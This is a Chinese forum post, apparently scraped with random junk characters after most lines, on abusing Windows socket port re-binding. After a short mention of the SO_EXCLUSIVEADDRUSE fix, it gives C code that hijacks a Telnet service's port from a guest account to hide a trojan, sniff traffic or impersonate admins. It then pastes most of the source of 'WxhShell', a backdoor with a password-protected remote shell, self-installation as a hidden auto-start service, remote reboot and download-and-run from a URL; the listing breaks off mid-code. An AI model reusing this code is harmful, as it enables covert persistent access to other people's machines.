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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: A,GJ6qp3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Sy34doAZ  
(I(k$g[>  
  saddr.sin_family = AF_INET; Y@V6/D} 1  
uBBW2  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); C= PV-Ul+  
iMs(Ywak]  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); /Oa.@53tK6  
%'[ pucEF  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 3a6  
Z`bo1,6>  
  这意味着什么?意味着可以进行如下的攻击: SrSm%Dv  
*XqS~G  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %Wb$qpa  
/ , .rUn1  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) )]m_ L$9  
:X- \!w\  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ("j*!Dsd  
[fXC ;c1  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  05vu{>  
=`BPGfC b  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Ix|^c268o<  
pB0Do6+{  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Qx !! Ttd{  
jQ\/R~)O  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I K Dh)Zm  
i]n ?zWo_h  
  #include fsVr<m  
  #include u&ozc  
  #include 5v-o2  
  #include    0i9C\'W`  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Nx4X1j?-n  
  int main() ffE>%M*  
  { JQWW's}  
  WORD wVersionRequested; z`+j]NX]  
  DWORD ret; jp QmKX  
  WSADATA wsaData; Kkz2N  
  BOOL val; AZjj71UE  
  SOCKADDR_IN saddr; ||sj*K  
  SOCKADDR_IN scaddr; 3q0^7)m0  
  int err; 7_ah1IEK  
  SOCKET s; HA%r:Px  
  SOCKET sc; xDBHnr}[  
  int caddsize; z6J fu:_N!  
  HANDLE mt; H!ISQ8{V  
  DWORD tid;   (L6*#!Dt  
  wVersionRequested = MAKEWORD( 2, 2 ); 9k>=y n  
  err = WSAStartup( wVersionRequested, &wsaData ); $8,/[V A  
  if ( err != 0 ) { 'P?DZE  
  printf("error!WSAStartup failed!\n"); fTc ,"{  
  return -1; H) &pay  
  } Ty>g:#bogI  
  saddr.sin_family = AF_INET; V{G9E  
   4 jeUYkJUM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Pxm~2PAm  
o+Kh2;$)  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 6J%+pt[tu  
  saddr.sin_port = htons(23); N8:&v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )IP{yL8c  
  { *Ad7GG1/u  
  printf("error!socket failed!\n"); yS:1F PA$_  
  return -1; -a$7b;gF  
  } XZ8;Ow=  
  val = TRUE; mh8~w~/[  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 tpi>$:e  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) spt='!)4  
  { (" >gLr  
  printf("error!setsockopt failed!\n"); "ZyWU f  
  return -1; ~.wDb,*  
  } Y4|g^>{<ni  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; qP0_#l&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 j?n:"@!G/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +~A<&7[}  
#%i-{t+_>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b,#E.%SLw  
  { p;rG aLo:u  
  ret=GetLastError(); {1ic* cZS  
  printf("error!bind failed!\n"); nu#_,x<LS  
  return -1; p@7[w@B\c  
  } UPkD^D,  
  listen(s,2); D;0xROW8{  
  while(1) :{v:sK  
  { 1$Pn;jg:  
  caddsize = sizeof(scaddr); h8!;RN[  
  //接受连接请求 H-,RzL/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ){oVVLs  
  if(sc!=INVALID_SOCKET) W}5H'D  
  { a/wkc*}}/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \o j#*aL^  
  if(mt==NULL) xBC:%kG~#  
  { IlcFW  
  printf("Thread Creat Failed!\n"); 5Y&s+|   
  break; txwTJScg  
  } ZSTpA,+6  
  } lAwOp  
  CloseHandle(mt); e[@q{.  
  } *?+maK{5+  
  closesocket(s); Y(]&j`%  
  WSACleanup();  ,JcQp=g  
  return 0; 1!E+(Iq  
  }   nJ4CXSdE  
  DWORD WINAPI ClientThread(LPVOID lpParam) e1RtoNF^  
  { 7^J-5lY3S  
  SOCKET ss = (SOCKET)lpParam; J dDP  
  SOCKET sc; df7z& {R  
  unsigned char buf[4096]; +0O{"XM  
  SOCKADDR_IN saddr; h,V#V1>Hu  
  long num; 0F<O \  
  DWORD val; w^&TG3m1~  
  DWORD ret; 4{\h53j$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ?)cNe:KY  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $[Fh|%\  
  saddr.sin_family = AF_INET; ntSPHK|'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); sS$- PX C  
  saddr.sin_port = htons(23); {[4Y(l1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;6} *0V_!k  
  { |j i}LWcD  
  printf("error!socket failed!\n"); kgz2/,  
  return -1; ?6 "F.\ O@  
  } %XqLyeOS  
  val = 100; s.rS06x  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) mdOF0b%-]  
  { 'H`_Z e<  
  ret = GetLastError(); wo[W1?|s  
  return -1; q*ZjOqj  
  } Iy](?b  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E$FXs~a  
  { &:-`3J-  
  ret = GetLastError(); $s hlNW\  
  return -1; zy#E qv  
  } J|Lk::Ri  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) id.o )=  
  { 56o?=|  
  printf("error!socket connect failed!\n"); dxkXt  k  
  closesocket(sc); @Ey(0BxNu  
  closesocket(ss); ,F J9C3  
  return -1; X./4at`  
  } kvdzD6T 9  
  while(1) 'lv\I9"S)  
  { HPT9B?^  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 }b YiyG\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 zk4yh%Cd_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 s&lZxnIjc  
  num = recv(ss,buf,4096,0); P$@5&/]  
  if(num>0) UG+wRX :dA  
  send(sc,buf,num,0); q5[%B K  
  else if(num==0) d `Q$URn|  
  break; Lvc*L6  
  num = recv(sc,buf,4096,0); .J~iRhVOF  
  if(num>0) z1LATy  
  send(ss,buf,num,0); cJm!3X  
  else if(num==0) XTyn[n  
  break; 8*)zoT*A  
  } (G"b)"Qum  
  closesocket(ss); 2&]UFg:8Q  
  closesocket(sc); EG0NikT?  
  return 0 ; / GJ"##<  
  } Us YH#?|O  
5RTAM  
%.b)%=  
========================================================== ;=Bf&hY&  
-Tk~c1I#`  
下边附上一个代码,,WXhSHELL ;2}0Hr'|  
6[c LbT0  
========================================================== $+ZO{ (  
,KIa+&vJW@  
#include "stdafx.h" 0ldde&!p  
g?i_10Xlp  
#include <stdio.h> gzP(Lf I5  
#include <string.h> q[b-vTzI  
#include <windows.h> slHlfWHq  
#include <winsock2.h> 5\f*xY  
#include <winsvc.h> qB7.LR*'  
#include <urlmon.h> P,~a'_w:|D  
qEf )TW(  
#pragma comment (lib, "Ws2_32.lib") ~/\;7E{8!  
#pragma comment (lib, "urlmon.lib") 9GkG'  
s iv KXd  
#define MAX_USER   100 // 最大客户端连接数 89@89-_mC  
#define BUF_SOCK   200 // sock buffer 'oEFNC9V  
#define KEY_BUFF   255 // 输入 buffer GA6Z{U{XS  
r,MgIv(L  
#define REBOOT     0   // 重启 iAT&C`,(&  
#define SHUTDOWN   1   // 关机 t_,iV9NrZ  
^C):yxN P  
#define DEF_PORT   5000 // 监听端口 q`}Q[Li  
f<WnPoV  
#define REG_LEN     16   // 注册表键长度 !hF b <  
#define SVC_LEN     80   // NT服务名长度 rP;Fh|w#  
3 T Q#3h  
// 从dll定义API Y.i<7pBt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KE16BjX@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ; ZL<7tLDb  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); =}r&>|rrJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %o#D"  
 X\ \\RCp  
// wxhshell配置信息 N(}7M~m>  
struct WSCFG { f;pR8  
  int ws_port;         // 监听端口 ~?-U J^#  
  char ws_passstr[REG_LEN]; // 口令 {*t'h?b  
  int ws_autoins;       // 安装标记, 1=yes 0=no Fm,A<+l@u  
  char ws_regname[REG_LEN]; // 注册表键名 ahS*YeS7  
  char ws_svcname[REG_LEN]; // 服务名 }PyAmh$@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >}O1lsjW:z  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 aiw~4ix  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 nf /iZ &  
int ws_downexe;       // 下载执行标记, 1=yes 0=no %nOBsln  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 68)z`JI|<)  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KzeA+PI  
(LRv c!`"  
}; \E?1bc{\f  
O`t ]#  
// default Wxhshell configuration * 2T&pX  
struct WSCFG wscfg={DEF_PORT, )Ah  
    "xuhuanlingzhe", )R9>;CuC9?  
    1, 1(hgSf1WH  
    "Wxhshell", qJ"dkT*  
    "Wxhshell", ^67P(h  
            "WxhShell Service", $NG}YOP)@  
    "Wrsky Windows CmdShell Service", `z5j  
    "Please Input Your Password: ", ;-^WUf |  
  1, %'4dg k  
  "http://www.wrsky.com/wxhshell.exe", pR 1v^m|  
  "Wxhshell.exe" Wz:MPdz3(  
    }; [JMz~~ F  
}%$9nq3  
// 消息定义模块 xfO!v>  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; *qY`MW  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N##3k-0Ao  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $hn_4$  
char *msg_ws_ext="\n\rExit."; HQ@X"y n  
char *msg_ws_end="\n\rQuit."; gl.P#7X  
char *msg_ws_boot="\n\rReboot..."; z ;y2 2  
char *msg_ws_poff="\n\rShutdown..."; MZ+8wr/y  
char *msg_ws_down="\n\rSave to "; Gk799SDL  
t ~U&a9&Z  
char *msg_ws_err="\n\rErr!"; ?)4|WN|c_  
char *msg_ws_ok="\n\rOK!"; "Oh-`C  
$CL=M  
char ExeFile[MAX_PATH]; wOHK dQ'  
int nUser = 0; wc~a}0uz  
HANDLE handles[MAX_USER]; Gu*;z% b2  
int OsIsNt; faD(, H  
nsw.\(#  
SERVICE_STATUS       serviceStatus; 79:x>i=  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; T"9`[Lzva  
&ks>.l\  
// 函数声明 a_QO)  
int Install(void); b4ORDU  
int Uninstall(void); r^#.yUz  
int DownloadFile(char *sURL, SOCKET wsh); >4~{ CXZ  
int Boot(int flag); b0LQ$XM>8  
void HideProc(void); 0\o0(eHCQz  
int GetOsVer(void); N[aK#o,  
int Wxhshell(SOCKET wsl); {x2N~1!E  
void TalkWithClient(void *cs); [_-CO }>  
int CmdShell(SOCKET sock); 1#]tCi`  
int StartFromService(void); y7d)[d*Mz  
int StartWxhshell(LPSTR lpCmdLine); te" 8ZmJ  
a4g=cs<9}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); vWe)cJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3iH!;`i  
4X#>;  
// 数据结构和表定义 <po(7XB  
SERVICE_TABLE_ENTRY DispatchTable[] = JsfbY^wz  
{ H -.3r  
{wscfg.ws_svcname, NTServiceMain},  A3'i -  
{NULL, NULL} K{M_ 4'\  
}; @] )a  
"-v9V7KCM  
// 自我安装 &giJO-^ f  
int Install(void) $vGl Z<3g  
{ #MGZje,I  
  char svExeFile[MAX_PATH]; SGNi~o  
  HKEY key; qUpMq:Uw  
  strcpy(svExeFile,ExeFile); v{?9PRf\s  
z?j~ 2K<4  
// 如果是win9x系统,修改注册表设为自启动 <Er|s^C  
if(!OsIsNt) { -BQM i0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { (zJ TBI'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !R{L`T0  
  RegCloseKey(key); QhpE2ICU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Z?"Pkc.Ei  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YfxZ<  
  RegCloseKey(key); UvQxtT]  
  return 0; 7OC ,KgJ3  
    } ;M"hX  
  } ;EF s2-{K  
} O_F<VV*MFQ  
else { mqq~&nI  
[uAfE3  
// 如果是NT以上系统,安装为系统服务 a}jaxGy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =\:YNP/  
if (schSCManager!=0) `jP\*k`~]  
{ .~W7{SY[  
  SC_HANDLE schService = CreateService !WVF{L,/I  
  ( q3scz  
  schSCManager, gyI5;il~  
  wscfg.ws_svcname, %@H;6   
  wscfg.ws_svcdisp, [2)Y0; ["  
  SERVICE_ALL_ACCESS, a&XURyp  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O%0G37h  
  SERVICE_AUTO_START, %0:  (''  
  SERVICE_ERROR_NORMAL, dVO|q9 /  
  svExeFile, iCl,7$[*  
  NULL, aeH 9:GQ6  
  NULL, 1!vR 8.  
  NULL, (O&ooM* o  
  NULL, 0_"J>rMp  
  NULL U6.$F#n  
  ); dx Mz!  
  if (schService!=0) ~73YOGiGJH  
  { '^7Sa  
  CloseServiceHandle(schService); ?"qU.}kGL  
  CloseServiceHandle(schSCManager); 6wnfAli.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); /:U\U_j  
  strcat(svExeFile,wscfg.ws_svcname); {CQA@p:Y}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lQ! 6n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Rfa1 v*(  
  RegCloseKey(key); Wv(VV[?/&  
  return 0; YM1@B`yWE  
    } $[FO(w@f  
  } hz\7Z+$L_  
  CloseServiceHandle(schSCManager); #@y4/JS&2  
} ^P&y9dC.  
} ~Qzm!Po,  
'Ur$jW  
return 1; )W*S6}A  
} z4{|?0=C  
Eer rIV  
// 自我卸载 D}\% Q #  
int Uninstall(void) 5 ^f>L2  
{ #{ `(;83  
  HKEY key; 7*@qd&  
#G9S[J=xe  
if(!OsIsNt) { (hd2&mSy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QabF(}61  
  RegDeleteValue(key,wscfg.ws_regname); K-p1v!IC  
  RegCloseKey(key); #\t?`\L3  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %G\rL.H|  
  RegDeleteValue(key,wscfg.ws_regname); zbi[r  
  RegCloseKey(key); dk{yx(Ty  
  return 0; ->K*r\T  
  } `;QpPSw+  
} |3"'>* J  
} O v?k4kJ  
else { mQJRq??P  
a8Ci 7<V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ">CjnF2>R  
if (schSCManager!=0) q| gG{9  
{ [gH vI  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); WI}P(!h\J  
  if (schService!=0) F S1<f:  
  { \7gLk:  
  if(DeleteService(schService)!=0) { 9Z rWG  
  CloseServiceHandle(schService); fTV:QAa;  
  CloseServiceHandle(schSCManager); bnUd !/;  
  return 0; =3/||b4c  
  } *PZNZ{|m  
  CloseServiceHandle(schService); ^U:pv0Qz  
  } ur*1I/v  
  CloseServiceHandle(schSCManager); jk 9K>4W  
} B{c,/{=O  
} 3{]i|1&j  
`4w0 *;k;  
return 1; #/5jWH7U  
} 3Yg/-=U(  
^aXyho  
// 从指定url下载文件 F!'b_ gmz  
int DownloadFile(char *sURL, SOCKET wsh) KQQR"[z&V  
{ p0'A\@|  
  HRESULT hr; vpOzF>O  
char seps[]= "/"; [<f\+g2ct  
char *token; a.wRJ  
char *file; mY;Y$fz;xL  
char myURL[MAX_PATH]; b_\aSEaTT  
char myFILE[MAX_PATH]; (j}"1  
K~v"%sG{`  
strcpy(myURL,sURL); 0I~xD9l9  
  token=strtok(myURL,seps); x:@HtTX  
  while(token!=NULL) F/&Z1G.  
  { ",`fGu )  
    file=token; y\r8_rBo  
  token=strtok(NULL,seps); jIAl7aoY  
  } wdl6dLu  
7 P=1+2V  
GetCurrentDirectory(MAX_PATH,myFILE); 2-]gHAw%  
strcat(myFILE, "\\"); 8cR4@Hqx  
strcat(myFILE, file); ^Zydy  
  send(wsh,myFILE,strlen(myFILE),0); V0ulIKck  
send(wsh,"...",3,0); IqcPml{\  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); CKNH/[ ZR,  
  if(hr==S_OK) l)=Rj`M  
return 0; jo{GPp}  
else RK"dPr  
return 1; rK}*Uwut  
H:y.7  
} ?<xGO@b .  
L;E9"7Jo  
// 系统电源模块 [ ecYpE<  
int Boot(int flag) Bb8lklQ  
{ p24sWDf  
  HANDLE hToken; b!<?,S  
  TOKEN_PRIVILEGES tkp; aL+k1v[m  
cz&Qoyh{;  
  if(OsIsNt) { mi%d([)%<  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); YNHn# 98\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &Q(Q/]U~  
    tkp.PrivilegeCount = 1; s26:(J [{  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 9IC"p<D  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Hc5@ gN  
if(flag==REBOOT) { h^?[:XBeav  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u{tjB/K&  
  return 0; @&mv4zz&W  
} ) dwPD  
else { YDC[s ^d5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) >L?/Ph%d  
  return 0; K, ?M5n '  
} I_'vVbK+>  
  } e=1&mO?  
  else { jO<K0c c  
if(flag==REBOOT) { BLuILE:$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) s1:UCv-%  
  return 0; $zyY"yWRZ  
} < yE(p  
else { 0[);v/@Ho  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) s|%mGt &L  
  return 0; qW $IpuK  
} Y'%sA~g  
} AX<TkS@wjb  
}!lLA4XRr  
return 1; [$OD+@~A2  
} vC&y:XMt,`  
nPR_:_^  
// win9x进程隐藏模块 <P(d%XEl  
void HideProc(void) QYyF6ht=!  
{ 6wIv7@Y  
HiILJyb  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Xv9kJ  
  if ( hKernel != NULL ) 9 )e`mO*n  
  { \,ir]e,1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y>wpla[kUq  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); o5i?|HJ  
    FreeLibrary(hKernel); r-H~MisL  
  } vA;ml$  
!ck=\3pr  
return; Y}(v[QGV  
} 6V*@ {  
4US8B=jk  
// 获取操作系统版本 V0c*M>V  
int GetOsVer(void) k2,n:7  
{ V.: a6>]  
  OSVERSIONINFO winfo; = 14'R4:  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]J5[ZVz  
  GetVersionEx(&winfo); it D%sKo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) {~[H"h537t  
  return 1; KFCuv15w,3  
  else  ORp6  
  return 0; ZgZ}^x  
} ]cLpLA"  
+2|X 7wA  
// 客户端句柄模块 >"5^]o2?~l  
int Wxhshell(SOCKET wsl) zPH1{|H+l  
{ uy~5!i&  
  SOCKET wsh; @@'zMV%  
  struct sockaddr_in client; wvp\'* $  
  DWORD myID; =_D82`p  
! |}J{  
  while(nUser<MAX_USER)  A5F< <  
{ lWd)(9K j  
  int nSize=sizeof(client); V[rNJf1z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DTl M}  
  if(wsh==INVALID_SOCKET) return 1; L7wl3zG  
#HJF==  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~; Ss)d  
if(handles[nUser]==0) Xi4!7IOm o  
  closesocket(wsh); ]J~37 35]  
else s~IOc%3  
  nUser++; N 2L/A  
  } %0Ulh6g;Dt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); h" P4  
?G* XZ0u~  
  return 0; I&q:w\\z8|  
} *<Fz1~%*  
A\i /@x5#  
// 关闭 socket E`=y9r* Z  
void CloseIt(SOCKET wsh) gt';_  
{ 9c=Y+=<  
closesocket(wsh); OMvwmm  
nUser--; os/~6  
ExitThread(0); P@PZm  
} %+Z 0 $Q  
(+>+@G~o  
// 客户端请求句柄 eW1$;.^  
void TalkWithClient(void *cs) {5#P1jlT  
{ dY;^JPT  
`[jQn;  
  SOCKET wsh=(SOCKET)cs; $io-<Z#Q  
  char pwd[SVC_LEN]; TEh]-x`  
  char cmd[KEY_BUFF]; LCyci1\@  
char chr[1]; -l`@pklQ  
int i,j; 6IctW5b  
c^6v7wT5  
  while (nUser < MAX_USER) { a_`E'BkgU  
H{\tQ->(2  
if(wscfg.ws_passstr) { *O)_D bj  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8v*>~E/0  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >#$( M5&}-  
  //ZeroMemory(pwd,KEY_BUFF); fh b&_T  
      i=0; p<Ah50!B  
  while(i<SVC_LEN) { p27A#Uu2}  
i74^J+xk  
  // 设置超时 C$"jZcm,I  
  fd_set FdRead; v|?hc'Fj  
  struct timeval TimeOut; nxsQDw\hy  
  FD_ZERO(&FdRead); 3+EJ%  
  FD_SET(wsh,&FdRead); v@XQ)95]F  
  TimeOut.tv_sec=8; P>)-uLc~W  
  TimeOut.tv_usec=0; _ZzN}!Mye  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q= + Frsk  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .sbU-_ij@U  
9(|[okB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +y6|Nq  
  pwd=chr[0]; tmRD$O%:  
  if(chr[0]==0xd || chr[0]==0xa) { cEsBKaN  
  pwd=0; 79s6U^vv"  
  break; (e= ksah3>  
  } <^~Xnstl  
  i++; j+Y4>fL$  
    } Gqk"%irZ  
HAf.LdnzS  
  // 如果是非法用户,关闭 socket ![7v_l\Q  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }(a y(  
} Te[[xhTyw  
pvI(hjMYPk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Uf4QQ `c#  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?OZbns~  
S4qh8c  
while(1) { O.TFV.  
]N!SG@X+  
  ZeroMemory(cmd,KEY_BUFF); r?{Vqephz  
Kp ~k!6x  
      // 自动支持客户端 telnet标准   D4 {gt\V  
  j=0; :54|Z5h|  
  while(j<KEY_BUFF) { Wq<>a;m  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }ebw1G  
  cmd[j]=chr[0]; %b\xRt[0v7  
  if(chr[0]==0xa || chr[0]==0xd) { M0=ZAsN  
  cmd[j]=0; &I'~:nWpt  
  break; ~<v{CBq[  
  } @T;O^rE~N  
  j++; 6|T{BOW!d  
    } [cXu<vjFM  
g_0"T}09(  
  // 下载文件 tborRi)  
  if(strstr(cmd,"http://")) { n\,TW&3  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); wS``Q8K+dM  
  if(DownloadFile(cmd,wsh)) ~q4DePVE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); l2VO=RDiW  
  else ;cp-jY_U  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _q6+]  
  } ua|qL!L+  
  else { h,FP,w;G  
+}mj6I  
    switch(cmd[0]) { K8|6r|x  
  j"94hWb  
  // 帮助 4fzq C)  
  case '?': { xBgf)'W_Z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); y^;qT_)#  
    break; Qi=rhN`  
  } M?[lpH3  
  // 安装 JO :m: M  
  case 'i': { lmH!I )5  
    if(Install()) rt^z#2$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *ivbk /8  
    else a Q`a>&R0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *9PS2*n  
    break; 8^dGI9N  
    } !cSD9q*  
  // 卸载 Vg:P@6s  
  case 'r': { aj(M{gFq~  
    if(Uninstall()) \?3];+c9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); -\UzL:9>  
    else X@~sIUXx9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {E6W]Mno  
    break; &cpRB&bf  
    } zN2sipJS8  
  // 显示 wxhshell 所在路径 UwE^ij  
  case 'p': { B2845~\.  
    char svExeFile[MAX_PATH]; |I OTW=>  
    strcpy(svExeFile,"\n\r"); Rx`0VQ  
      strcat(svExeFile,ExeFile);  }Ecm  
        send(wsh,svExeFile,strlen(svExeFile),0); ARQ1H0_B  
    break; 8$G$Rdn  
    } i3e|j(Gs4  
  // 重启 *,'"\n  
  case 'b': { B5I(ai7<M  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ; H:qDBH  
    if(Boot(REBOOT)) c#HocwP@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5~rs55W  
    else { t:M>&r:BL  
    closesocket(wsh); 0HNe44oI+D  
    ExitThread(0); fcw \`.  
    } A=XM(2{aN  
    break; ?[m5|ty#  
    } Llk`  
  // 关机 HnY: gu  
  case 'd': { 3_33@MM  
